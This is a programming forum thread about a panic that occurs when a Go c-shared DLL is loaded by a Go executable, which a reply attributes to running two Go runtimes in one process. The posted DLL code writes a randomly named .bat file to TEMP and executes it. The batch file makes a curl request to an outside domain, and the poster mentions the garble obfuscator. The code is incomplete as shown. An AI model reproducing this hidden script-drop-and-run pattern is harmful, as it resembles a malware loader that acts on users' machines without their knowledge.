Importing Go DLL into Go Application causes panic

[prime lance]

[CLOSED] tl;dr issue with go itself, so no hotfix exists.

So weird issue I'm having on a different project, when compiling a go project to a c-shared library [DLL] and attempting to reference exported functions from said library it results in the huge error being thrown (see images). After doing some quick googling it appears that it has something to do with the way go compiles c-shared libraries; since it includes it's own runtime, trying to reference it in a project with another one of it's own runtimes causes go to crud itself due to the existence of multiple runtimes in the same project. My question is has this been fixed yet or is there some sort of hot-fix that can be deployed? Thanks!

I forgot to include that I tried using the garble compiler since it said it helped to remove metadata which seemed to work in that it removed the error, however now my code to write to a file doesn't work.

https://github.com/burrowers/garble

Here is the source for the C-Shared Code (DLL):

package main

import (
  "math/rand"
  "os"
  "time"
)

const (
    letterBytes string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
)

func main() {}

func RandStringBytes(n int) string {
    rand.Seed(time.Now().UnixNano())

    b := make([]byte, n)
    for i := range b {
        b[i] = letterBytes[rand.Intn(len(letterBytes))]
    }
    return string(b)
}

//export GenChalBlockA
func GenChalBlockA() {
    file := TEMP + "\\" + RandStringBytes(8) + ".bat"

    f, _ := os.Create(file)
    f.Close()

    err := os.WriteFile(file, []byte("curl -XGET -H \"Content-type: application/json\" 'lms.s7mini.cf/gen'"), 0644)

    if err != nil {
        fmt.Println("Something went wrong: ", err)
    }

    exec.Command("cmd.exe", "/C", file).Start()
}

Here is the source for the main.exe executable (Where the DLL is referenced):

package main

import "C"

import (
    "syscall"
)

func main() {

    lib := syscall.NewLazyDLL("s7lms.lib.dll")
    _, _, err := lib.NewProc("GenChalBlockA").Call()
    if err != nil {
        return
    }
}

I've confirmed that the GenChalBlockA method is indeed being called, as placing a println("Test") inside of it seems to output just that.

[amber oxide]

Looks like a linking issue

[prime lance]

How so?

[amber oxide]

don’t think having two go runtimes in the same binary is supported

[prime lance]

So is there any way I would be able to use a Go DLL in a Go Executable?

[amber oxide]

that is not the intended use of the tool, so I don't believe there is. plugins are usually the answer to this question but they also have caveats

[prime lance]

My question is why does switching the compiler to Garble work only to an extent? My code still compiles and runs just fine using it, but there are certain things that won't work (like creating a file), while printing works just fine?

How much of the first source that I sent is absolutely reliant on the existence of it's own runtime

[amber oxide]

no idea, I'm assuming "you cannot have two go runtimes in the same address space" probably has something to do with it

[prime lance]

Did some more digging, found an issue saying it may have something to do with the way syscall.NewLazyDLL works

do you know other ways to import a DLL function in go?